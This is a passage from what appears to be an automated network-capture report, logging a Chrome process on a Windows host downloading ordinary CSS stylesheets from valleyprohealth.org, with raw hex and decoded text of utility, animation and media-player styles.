cover;"}.object-fit-cover--centered{left:50%;top:-50%;bottom:0;-webkit-transform:translate(-50%,50%);transform:
2024-04-24 12:44:15 UTC	16384	IN	Data Raw: 66 6c 65 78 3a 30 3b 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 6c 67 2d 32 3e 2a 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 66 6c 65 78 3a 30 20 30 20 35 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 35 30 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 6c 67 2d 33 3e 2a 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 66 6c 65 78 3a 30 20 30 20 33 33 2e 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 33 33 2e 33 33 33 33 33 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 6c 67 2d 34 3e 2a 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 66 6c 65 78 3a 30 20 30 20 32 35 25 3b 6d 61 78 2d 77 69 64 74 68 3a 32 35 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 6c 67 2d 35 3e 2a 7b 2d Data Ascii: flex:0;flex:0 0 100%;max-width:100%}.row-cols-lg-2>{-webkit-box-flex:0;flex:0 0 50%;max-width:50%}.row-cols-lg-3>{-webkit-box-flex:0;flex:0 0 33.33333%;max-width:33.33333%}.row-cols-lg-4>{-webkit-box-flex:0;flex:0 0 25%;max-width:25%}.row-cols-lg-5>{-
2024-04-24 12:44:16 UTC	16384	IN	Data Raw: 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 39 61 34 38 37 39 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 39 61 34 38 37 39 7d 2e 62 74 6e 2d 70 75 72 70 6c 65 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6c 65 64 29 2e 61 63 74 69 76 65 2c 2e 62 74 6e 2d 70 75 72 70 6c 65 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6c 65 64 29 3a 61 63 74 69 76 65 2c 2e 73 68 6f 77 3e 2e 62 74 6e 2d 70 75 72 70 6c 65 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 37 37 33 38 35 65 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 36 66 33 34 35 37 7d 2e 62 74 6e 2d 70 75 72 70 6c 65 3a 6e Data Ascii: r:#fff;background-color:#9a4879;border-color:#9a4879}.btn-purple:not(:disabled):not(.disabled).active,.btn-purple:not(:disabled):not(.disabled):active,.show>.btn-purple.dropdown-toggle{color:#fff;background-color:#77385e;border-color:#6f3457}.btn-purple:n
2024-04-24 12:44:16 UTC	16384	IN	Data Raw: 61 69 6e 65 72 2d 6d 64 2c 2e 6e 61 76 62 61 72 2d 65 78 70 61 6e 64 2d 73 6d 3e 2e 63 6f 6e 74 61 69 6e 65 72 2d 73 6d 2c 2e 6e 61 76 62 61 72 2d 65 78 70 61 6e 64 2d 73 6d 3e 2e 63 6f 6e 74 61 69 6e 65 72 2d 78 6c 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 35 37 36 70 78 29 7b 2e 6e 61 76 62 61 72 2d 65 78 70 61 6e 64 2d 73 6d 7b 66 6c 65 78 2d 66 6c 6f 77 3a 72 6f 77 20 6e 6f 77 72 61 70 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 73 74 61 72 74 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 73 74 61 72 74 7d 2e 6e 61 76 62 61 72 2d 65 78 70 61 6e 64 2d 73 6d 2c 2e 6e 61 76 62 61 72 2d 65 78 70 61 6e 64 2d 73 6d 20 Data Ascii: ainer-md,.navbar-expand-sm>.container-sm,.navbar-expand-sm>.container-xl{padding-right:0;padding-left:0}}@media (min-width:576px){.navbar-expand-sm{flex-flow:row nowrap;-webkit-box-pack:start;justify-content:flex-start}.navbar-expand-sm,.navbar-expand-sm
2024-04-24 12:44:16 UTC	16384	IN	Data Raw: 2e 66 6c 65 78 2d 73 6d 2d 72 6f 77 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 6c 65 78 2d 73 6d 2d 63 6f 6c 75 6d 6e 2c 2e 66 6c 65 78 2d 73 6d 2d 72 6f 77 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 6c 65 78 2d 73 6d 2d 63 6f 6c 75 6d 6e 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 76 65 72 74 69 63 61 6c 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 6c 65 78 2d 73 6d 2d 72 6f 77 2d 72 65 76 65 72 73 Data Ascii: .flex-sm-row{-webkit-box-orient:horizontal!important;flex-direction:row!important}.flex-sm-column,.flex-sm-row{-webkit-box-direction:normal!important}.flex-sm-column{-webkit-box-orient:vertical!important;flex-direction:column!important}.flex-sm-row-revers
2024-04-24 12:44:16 UTC	16384	IN	Data Raw: 7d 2e 6d 72 2d 73 6d 2d 32 2c 2e 6d 78 2d 73 6d 2d 32 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2e 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 62 2d 73 6d 2d 32 2c 2e 6d 79 2d 73 6d 2d 32 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 6c 2d 73 6d 2d 32 2c 2e 6d 78 2d 73 6d 2d 32 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 2d 73 6d 2d 33 7b 6d 61 72 67 69 6e 3a 31 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 74 2d 73 6d 2d 33 2c 2e 6d 79 2d 73 6d 2d 33 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 72 2d 73 6d 2d 33 2c 2e 6d 78 2d 73 6d 2d 33 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 72 65 6d 21 69 6d 70 Data Ascii: }.mr-sm-2,.mx-sm-2{margin-right:.5rem!important}.mb-sm-2,.my-sm-2{margin-bottom:.5rem!important}.ml-sm-2,.mx-sm-2{margin-left:.5rem!important}.m-sm-3{margin:1rem!important}.mt-sm-3,.my-sm-3{margin-top:1rem!important}.mr-sm-3,.mx-sm-3{margin-right:1rem!imp
2024-04-24 12:44:16 UTC	16384	IN	Data Raw: 67 2d 63 65 6e 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 32 30 30 70 78 29 7b 2e 74 65 78 74 2d 78 6c 2d 6c 65 66 74 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 74 65 78 74 2d 78 6c 2d 72 69 67 68 74 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 72 69 67 68 74 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 74 65 78 74 2d 78 6c 2d 63 65 6e 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 2e 74 65 78 74 2d 6c 6f 77 65 72 63 61 73 65 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6c 6f 77 65 72 63 61 73 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 74 65 78 74 2d 75 70 70 65 72 63 61 Data Ascii: g-center{text-align:center!important}}@media (min-width:1200px){.text-xl-left{text-align:left!important}.text-xl-right{text-align:right!important}.text-xl-center{text-align:center!important}}.text-lowercase{text-transform:lowercase!important}.text-upperca
2024-04-24 12:44:16 UTC	16384	IN	Data Raw: 2e 63 2d 70 6c 2d 39 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 2e 31 32 35 72 65 6d 7d 2e 63 2d 70 6c 2d 6f 6e 6c 79 2d 39 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 36 2e 32 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 2d 70 6c 2d 31 30 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 34 72 65 6d 7d 2e 63 2d 70 6c 2d 6f 6e 6c 79 2d 31 30 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 38 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 2d 70 78 2d 31 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 2e 32 35 72 65 6d 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 2e 32 35 72 65 6d 7d 2e 63 2d 70 78 2d 6f 6e 6c 79 2d 31 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 2e 32 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 2e 32 35 72 65 6d Data Ascii: .c-pl-9{padding-left:3.125rem}.c-pl-only-9{padding-left:6.25rem!important}.c-pl-10{padding-left:4rem}.c-pl-only-10{padding-left:8rem!important}.c-px-1{padding-left:.25rem;padding-right:.25rem}.c-px-only-1{padding-left:.25rem!important;padding-right:.25rem
2024-04-24 12:44:16 UTC	16384	IN	Data Raw: 70 6c 2d 73 6d 2d 6f 6e 6c 79 2d 34 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 2e 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 2d 70 6c 2d 73 6d 2d 35 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 2e 32 35 72 65 6d 7d 2e 63 2d 70 6c 2d 73 6d 2d 6f 6e 6c 79 2d 35 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 2d 70 6c 2d 73 6d 2d 36 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 2e 38 37 35 72 65 6d 7d 2e 63 2d 70 6c 2d 73 6d 2d 6f 6e 6c 79 2d 36 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 2d 70 6c 2d 73 6d 2d 37 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 2e 35 72 65 6d 7d 2e 63 2d 70 6c 2d 73 6d 2d 6f 6e 6c 79 2d 37 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 Data Ascii: pl-sm-only-4{padding-left:1.5rem!important}.c-pl-sm-5{padding-left:1.25rem}.c-pl-sm-only-5{padding-left:2rem!important}.c-pl-sm-6{padding-left:1.875rem}.c-pl-sm-only-6{padding-left:3rem!important}.c-pl-sm-7{padding-left:2.5rem}.c-pl-sm-only-7{padding-left
2024-04-24 12:44:16 UTC	16384	IN	Data Raw: 3a 34 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 34 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 2d 6d 78 2d 6d 64 2d 38 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 2e 37 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 2e 37 35 72 65 6d 7d 2e 63 2d 6d 78 2d 6d 64 2d 6f 6e 6c 79 2d 38 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 2d 6d 78 2d 6d 64 2d 39 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 2e 36 38 37 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 34 2e 36 38 37 35 72 65 6d 7d 2e 63 2d 6d 78 2d 6d 64 2d 6f 6e 6c 79 2d 39 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 36 2e 32 35 Data Ascii: :4rem!important;margin-right:4rem!important}.c-mx-md-8{margin-left:3.75rem;margin-right:3.75rem}.c-mx-md-only-8{margin-left:5rem!important;margin-right:5rem!important}.c-mx-md-9{margin-left:4.6875rem;margin-right:4.6875rem}.c-mx-md-only-9{margin-left:6.25

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49764	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:15 UTC	591	OUT	GET /wp-content/themes/vpchc/dist/vendor.css?ver=240312-55111 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:16 UTC	418	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:15 GMT Content-Type: text/css Content-Length: 109463 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 12 Mar 2024 05:51:11 GMT Vary: Accept-Encoding ETag: "65efed4f-1ab97" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:16 UTC	15966	IN	Data Raw: 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 2d 64 75 72 61 74 69 6f 6e 3d 22 35 30 22 5d 2c 0d 0a 62 6f 64 79 5b 64 61 74 61 2d 61 6f 73 2d 64 75 72 61 74 69 6f 6e 3d 22 35 30 22 5d 20 5b 64 61 74 61 2d 61 6f 73 5d 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 35 30 6d 73 3b 0d 0a 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 35 30 6d 73 0d 0a 7d 0d 0a 0d 0a 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 2d 64 65 6c 61 79 3d 22 35 30 22 5d 2c 0d 0a 62 6f 64 79 5b 64 61 74 61 2d 61 6f 73 2d 64 65 6c 61 79 3d 22 35 30 22 5d 20 5b 64 61 74 61 2d 61 6f 73 5d 20 7b 0d 0a 20 20 20 20 2d Data Ascii: [data-aos][data-aos][data-aos-duration="50"],body[data-aos-duration="50"] [data-aos] { -webkit-transition-duration: 50ms; transition-duration: 50ms}[data-aos][data-aos][data-aos-delay="50"],body[data-aos-delay="50"] [data-aos] { -
2024-04-24 12:44:16 UTC	16384	IN	Data Raw: 2e 61 6f 73 2d 61 6e 69 6d 61 74 65 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 2d 64 65 6c 61 79 3a 20 31 2e 36 73 3b 0d 0a 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 2d 64 65 6c 61 79 3a 20 31 2e 36 73 0d 0a 7d 0d 0a 0d 0a 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 2d 64 75 72 61 74 69 6f 6e 3d 22 31 36 35 30 22 5d 2c 0d 0a 62 6f 64 79 5b 64 61 74 61 2d 61 6f 73 2d 64 75 72 61 74 69 6f 6e 3d 22 31 36 35 30 22 5d 20 5b 64 61 74 61 2d 61 6f 73 5d 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 2e 36 35 73 3b 0d 0a 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 2e 36 35 73 0d 0a 7d 0d Data Ascii: .aos-animate { -webkit-transition-delay: 1.6s; transition-delay: 1.6s}[data-aos][data-aos][data-aos-duration="1650"],body[data-aos-duration="1650"] [data-aos] { -webkit-transition-duration: 1.65s; transition-duration: 1.65s}
2024-04-24 12:44:16 UTC	16384	IN	Data Raw: 72 28 2e 34 37 2c 20 30 2c 20 2e 37 34 35 2c 20 2e 37 31 35 29 0d 0a 7d 0d 0a 0d 0a 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 2d 65 61 73 69 6e 67 3d 65 61 73 65 2d 6f 75 74 2d 73 69 6e 65 5d 2c 0d 0a 62 6f 64 79 5b 64 61 74 61 2d 61 6f 73 2d 65 61 73 69 6e 67 3d 65 61 73 65 2d 6f 75 74 2d 73 69 6e 65 5d 20 5b 64 61 74 61 2d 61 6f 73 5d 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 33 39 2c 20 2e 35 37 35 2c 20 2e 35 36 35 2c 20 31 29 3b 0d 0a 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 33 39 Data Ascii: r(.47, 0, .745, .715)}[data-aos][data-aos][data-aos-easing=ease-out-sine],body[data-aos-easing=ease-out-sine] [data-aos] { -webkit-transition-timing-function: cubic-bezier(.39, .575, .565, 1); transition-timing-function: cubic-bezier(.39
2024-04-24 12:44:16 UTC	16384	IN	Data Raw: 78 2d 6d 6f 62 69 6c 65 20 2e 67 6c 69 67 68 74 62 6f 78 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 67 73 6c 69 64 65 2d 64 65 73 63 20 2e 64 65 73 63 2d 6d 6f 72 65 20 7b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 2e 34 0d 0a 7d 0d 0a 0d 0a 2e 67 64 65 73 63 2d 6f 70 65 6e 20 2e 67 73 6c 69 64 65 2d 6d 65 64 69 61 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 6f 70 61 63 69 74 79 20 2e 35 73 20 65 61 73 65 3b 0d 0a 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 3a 20 6f 70 61 63 69 74 79 20 2e 35 73 20 65 61 73 65 3b 0d 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 2e 34 0d 0a 7d 0d 0a 0d 0a 2e 67 64 65 73 63 2d 6f 70 65 6e 20 2e 67 64 65 73 63 2d 69 6e 6e 65 72 20 7b 0d 0a 20 Data Ascii: x-mobile .glightbox-container .gslide-desc .desc-more { color: #fff; opacity: .4}.gdesc-open .gslide-media { -webkit-transition: opacity .5s ease; transition: opacity .5s ease; opacity: .4}.gdesc-open .gdesc-inner {
2024-04-24 12:44:16 UTC	16384	IN	Data Raw: 67 65 72 2d 2d 73 70 69 6e 20 62 3a 6e 74 68 2d 6f 66 2d 74 79 70 65 28 33 29 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 2d 64 65 6c 61 79 3a 20 2e 32 73 2c 20 30 73 3b 0d 0a 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 2d 64 65 6c 61 79 3a 20 2e 32 73 2c 20 30 73 0d 0a 7d 0d 0a 0d 0a 2e 6d 6d 2d 77 72 61 70 70 65 72 5f 6f 70 65 6e 65 64 20 2e 6d 62 75 72 67 65 72 2d 2d 73 70 69 6e 20 62 3a 66 69 72 73 74 2d 6f 66 2d 74 79 70 65 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 31 33 35 64 65 67 29 3b 0d 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 31 33 35 64 65 67 29 3b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 2d 64 Data Ascii: ger--spin b:nth-of-type(3) { -webkit-transition-delay: .2s, 0s; transition-delay: .2s, 0s}.mm-wrapper_opened .mburger--spin b:first-of-type { -webkit-transform: rotate(135deg); transform: rotate(135deg); -webkit-transition-d
2024-04-24 12:44:16 UTC	16384	IN	Data Raw: 6e 73 70 61 72 65 6e 74 20 76 61 72 28 2d 2d 76 61 6c 75 65 2c 20 30 29 29 0d 0a 7d 0d 0a 0d 0a 2e 70 6c 79 72 2d 2d 66 75 6c 6c 2d 75 69 20 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 6e 67 65 5d 3a 3a 2d 77 65 62 6b 69 74 2d 73 6c 69 64 65 72 2d 74 68 75 6d 62 20 7b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 70 6c 79 72 2d 72 61 6e 67 65 2d 74 68 75 6d 62 2d 62 61 63 6b 67 72 6f 75 6e 64 2c 20 23 66 66 66 29 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 30 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 31 30 30 25 3b 0d 0a 20 20 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 76 61 72 28 2d 2d 70 6c 79 72 2d 72 61 6e 67 65 2d 74 68 75 6d 62 2d 73 68 61 64 6f 77 2c 20 30 20 31 70 78 20 31 70 78 20 72 67 62 61 28 33 35 Data Ascii: nsparent var(--value, 0))}.plyr--full-ui input[type=range]::-webkit-slider-thumb { background: var(--plyr-range-thumb-background, #fff); border: 0; border-radius: 100%; box-shadow: var(--plyr-range-thumb-shadow, 0 1px 1px rgba(35
2024-04-24 12:44:16 UTC	11577	IN	Data Raw: 72 2d 72 61 6e 67 65 2d 74 68 75 6d 62 2d 73 68 61 64 6f 77 2c 20 30 20 31 70 78 20 31 70 78 20 72 67 62 61 28 33 35 2c 20 34 30 2c 20 34 37 2c 20 2e 31 35 29 2c 20 30 20 30 20 30 20 31 70 78 20 72 67 62 61 28 33 35 2c 20 34 30 2c 20 34 37 2c 20 2e 32 29 29 2c 20 30 20 30 20 30 20 76 61 72 28 2d 2d 70 6c 79 72 2d 72 61 6e 67 65 2d 74 68 75 6d 62 2d 61 63 74 69 76 65 2d 73 68 61 64 6f 77 2d 77 69 64 74 68 2c 20 33 70 78 29 20 76 61 72 28 2d 2d 70 6c 79 72 2d 61 75 64 69 6f 2d 72 61 6e 67 65 2d 74 68 75 6d 62 2d 61 63 74 69 76 65 2d 73 68 61 64 6f 77 2d 63 6f 6c 6f 72 2c 20 68 73 6c 61 28 30 2c 20 30 25 2c 20 31 30 30 25 2c 20 2e 35 29 29 0d 0a 7d 0d 0a 0d 0a 2e 70 6c 79 72 2d 2d 66 75 6c 6c 2d 75 69 2e 70 6c 79 72 2d 2d 76 69 64 65 6f 20 69 6e 70 75 74 5b Data Ascii: r-range-thumb-shadow, 0 1px 1px rgba(35, 40, 47, .15), 0 0 0 1px rgba(35, 40, 47, .2)), 0 0 0 var(--plyr-range-thumb-active-shadow-width, 3px) var(--plyr-audio-range-thumb-active-shadow-color, hsla(0, 0%, 100%, .5))}.plyr--full-ui.plyr--video input[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49766	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:15 UTC	574	OUT	GET /wp-content/themes/vpchc/dist/custom.css HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:15 UTC	415	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:15 GMT Content-Type: text/css Content-Length: 4291 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 23 Apr 2024 07:34:01 GMT Vary: Accept-Encoding ETag: "66276469-10c3" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:15 UTC	4291	IN	Data Raw: 2f 2a 20 47 6f 6f 67 6c 65 20 72 65 76 69 65 77 73 20 73 6c 69 64 65 72 20 2a 2f 0d 0a 2e 72 65 76 69 65 77 5f 73 65 63 74 69 6f 6e 20 7b 0d 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 34 70 78 3b 0d 0a 7d 0d 0a 2e 72 65 76 69 65 77 73 5f 73 65 63 74 69 6f 6e 5f 74 69 74 6c 65 20 68 34 2e 72 65 76 69 65 77 73 5f 74 69 74 6c 65 20 7b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 30 70 78 3b 0d 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 34 70 78 3b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 23 30 65 31 65 34 64 3b 0d 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 38 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 2e 73 65 63 74 69 6f 6e 2d 67 6f 6f 67 6c 65 2d 72 65 76 69 65 77 73 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 31 35 70 78 Data Ascii: /* Google reviews slider */.review_section { margin-top: 24px;}.reviews_section_title h4.reviews_title { font-size: 20px; line-height: 24px; color: #0e1e4d; margin-bottom: 8px !important;}.section-google-reviews { padding: 15px

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49767	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
